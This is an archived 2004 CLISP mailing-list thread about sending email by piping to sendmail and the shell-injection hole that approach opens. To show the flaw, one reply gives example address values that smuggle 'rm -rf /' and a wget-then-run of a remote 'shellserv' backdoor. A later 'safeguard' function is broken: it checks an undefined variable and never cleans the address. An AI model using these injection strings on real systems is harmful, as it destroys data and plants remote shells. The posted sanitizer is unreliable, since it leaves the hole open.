Subject: [clisp-list] networking

From: [email-masked] (Don Cohen)
Date: Mon Feb 9 15:54:07 2004

>     Just a ping to find out if there are folks out there "doing much" 
 > with the sockets library in CLISP or if FFI is the preferred method. 
I use it for web servers, my mail server, etc, etc.
There is a raw sockets interface build from FFI that I have also used.

 > found some messages in the archive from about 3 years ago re: UDP and 
 > using FFI... If there have been more recent messages, a pointer/tip to 
 > a subject line or date range would be appreciated. Thanks,
The raw sockets interface is actually not a bad way to go for UDP.
In this case you really want to process things by the packet anyway.
Though it would be better to have the system do defragmentation for you.

 > From: "John K. Hinsdale" <[email-masked]>
 > Now, I *AM* thinking of writing a simple SMTP client for my programs
 > to send Email notifications to me for certain events.  For that I
 > would use the socket interface directly from Lisp to speak the SMTP
 > protocol.

Much easier to use something like
(defun email (address string)
  (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address))))
    (princ string s) (close s)))
then
           (email address
		  (format
		   nil
		   "from: [email-masked]~%~
                    to: ~A~%~
                    subject: testing~%~%~
                    this is a test~%~%"
		   address))
If you want a server, I have one at clocc.

---

From: Alexander Schreiber <[email-masked]>
Date: Mon Feb 9 22:42:06 2004

>     (princ string s) (close s)))

This is not a good idea. You've just gained yourself a security hole
by not fully sanitizing the address string to avoid shell command 
injections and you are relying on being able to use the sendmail 
command to send mail.

Since you are unportable to other Lisps anyway (ext:make-pipe-output-stream),
why not do it the right way and build a very simple SMTP client using the
sockets-library? After all, the basic SMTP dialogue is simple enough to
be used with telnet to send mail in a hurry.

This has the advantage that it works on any platform CLisp runs on,
wether it has a working sendmail for you to use and a correct local 
mail configuration or not.

> If you want a server, I have one at clocc.

Regards,
      Alex.
-- 
"Opportunity is missed by most people because it is dressed in overalls and
 looks like work."                                      -- Thomas A. Edison

---

From: [email-masked] (Don Cohen)
Date: Mon Feb 9 23:05:03 2004

> by not fully sanitizing the address string to avoid shell command 

How do you know whether address has been sanitized?
Hmm, if it's not, I wonder how it can be used ...

 > injections and you are relying on being able to use the sendmail 

That's what it's for.  An using it is a whole lot easier than
rewriting the code in lisp.  The only reason not to use it is
that you're not satisfied with what it does.
Or, of course, if you don't have such a program available.
If that's the case, by all means ...

---

From: Alexander Schreiber <[email-masked]>
Date: Tue Feb 10 08:46:09 2004

> How do you know whether address has been sanitized?

Of course I can't know that from this short example. But people tend to
forget thing like that, once their code is working.

> Hmm, if it's not, I wonder how it can be used ...

(email "[email-masked]; rm -rf /" "Mhuahahahah") 
While this will not wipe the entire filesystem unless running as root,
it will still take care of everything the user it is running under has
appropriate access to.

If course, this is a rather crude and blatantly obvious attack. One
might have much more fun with something like

(email "[email-masked]; wget http://some.host.edu/shellserv ; ./shellserv"
       "hehe")

With shellserv being a script/binary that forks into the background,
binds to a nice high port and waits for its master to connect, offering
him a local shell, from which he then can start things - like trying to
gain elevated privileges through local exploits.

Regards,
       Alex.

---

From: [email-masked] (Don Cohen)
Date: Tue Feb 10 09:07:04 2004

> forget thing like that, once their code is working.
I must agree.  
So perhaps it would be better when posting code like this
to include some safeguards, as in

(defun email (address string)
  ;; some security - consider email address `rm -rf /*`
  (loop for i from 1 below (1- (length rp))
        unless (alphanumericp (char rp i))
        unless (position (char rp i) "@.-_+") ;; chars that are allowed
        do (setf (char rp i) #\_))
  (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address))))
    (princ string s) (close s)))

---

From: Michael Koehne <[email-masked]>
Date: Tue Feb 10 10:20:10 2004

Moin Don Cohen,

>     (princ string s) (close s)))

  this might work in US only, but it ignores modern domain names.
  But implementing puny-code for UTF to domain name conversion,
  is realy an other can of worms. Here Perl has a real benefit over
  LISP - I can just `perl -c `use CPAN; install Net::SMTP;` and
  share the work of other Perl hackers.

Bye Michael
-- 
  mailto:[email-masked]             UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1'
  http://www.xml-edifact.org/           CETERUM CENSEO WINDOWS ESSE DELENDAM

---

From: "Thomas F. Burdick" <[email-masked]>
Date: Tue Feb 10 11:18:01 2004

> it will still take care of everything the user it is running under has

This is one of those features that is just screaming to be refactored.
Rather than try to figure out if your command-line is safe in every
function, go through the pain of implementing shell quoting once, and
be safe from then on:

  (defun shell-command (command &rest args)
    "Return a properly quoted string for the command"
    ...)

Come to think of it, this would be a really good thing to add to CLISP
itself, since it could vary from system to system, to do the correct
native quoting.

---

From: Sam Steingold <[email-masked]>
Date: Tue Feb 10 11:56:03 2004

> * Thomas F. Burdick <[email-masked]> [2004-02-10 11:17:06 -0800]:
>

<clisp/src/runprog.lisp> has SHELL-QUOTE and SHELL-SIMPLE-QUOTE (same
for unix but different for woe32).
neither is exported, but you can look at the source code and see if it
does what you need.
they are not exported (not even directly callable outside of SHELL and
friends), but you can try
(funcall (sys::%record-ref #'ext:execute 7) "foo bar")

-- 
Sam Steingold (http://www.podval.org/~sds) running w2k
<http://www.camera.org> <http://www.iris.org.il> <http://www.memri.org/>
<http://www.mideasttruth.com/> <http://www.honestreporting.com>
He who laughs last thinks slowest.

---

From: Pascal J.Bourguignon <[email-masked]>
Date: Tue Feb 10 13:39:00 2004

> itself, since it could vary from system to system, to do the correct

shell-quote-argument

It depends on the shell used.

For shell the documentation says:

    (EXT:SHELL [command])  calls the operating system's shell.

What is the operating system's shell? Is it /bin/sh or is it what's in
the environment variable SHELL?  (And I don't even ask what happens on
non-posix systems).

The documentation should be improved here.

For  run-shell-command and  run-programm, it's  clear: it's  what's in
SHELL.  It  does not say  what happens when  there's no SHELL  or when
it's empty.

A shell quoting function cannot take into account that. Imagine I have:
   (setf (getenv "SHELL") "/usr/bin/clisp")
or:
   (setf (getenv "SHELL") "/usr/bin/perl")
or:
   (setf (getenv "SHELL") "/usr/bin/dwim-shell")

How do you quote for these and others shells?

Here's what emacs does. It's not a primitive:

(defun shell-quote-argument (argument)
  "Quote an argument for passing as argument to an inferior shell."
  (if (eq system-type 'ms-dos)
      ;; Quote using double quotes, but escape any existing quotes in
      ;; the argument with backslashes.
      (let ((result "")
	    (start 0)
	    end)
	(if (or (null (string-match "[^\"]" argument))
		(< (match-end 0) (length argument)))
	    (while (string-match "[\"]" argument start)
	      (setq end (match-beginning 0)
		    result (concat result (substring argument start end)
				   "\\" (substring argument end (1+ end)))
		    start (1+ end))))
	(concat "\"" result (substring argument start) "\""))
    (if (eq system-type 'windows-nt)
	(concat "\"" argument "\"")
      (if (equal argument "")
	  "''"
	;; Quote everything except POSIX filename characters.
	;; This should be safe enough even for really weird shells.
	(let ((result "") (start 0) end)
	  (while (string-match "[^-0-9a-zA-Z_./]" argument start)
	    (setq end (match-beginning 0)
		  result (concat result (substring argument start end)
				 "\\" (substring argument end (1+ end)))
		  start (1+ end)))
	  (concat result (substring argument start)))))))

-- 
__Pascal_Bourguignon__                     http://www.informatimago.com/
There is no worse tyranny than to force a man to pay for what he doesn't
want merely because you think it would be good for him.--Robert Heinlein
http://www.theadvocates.org/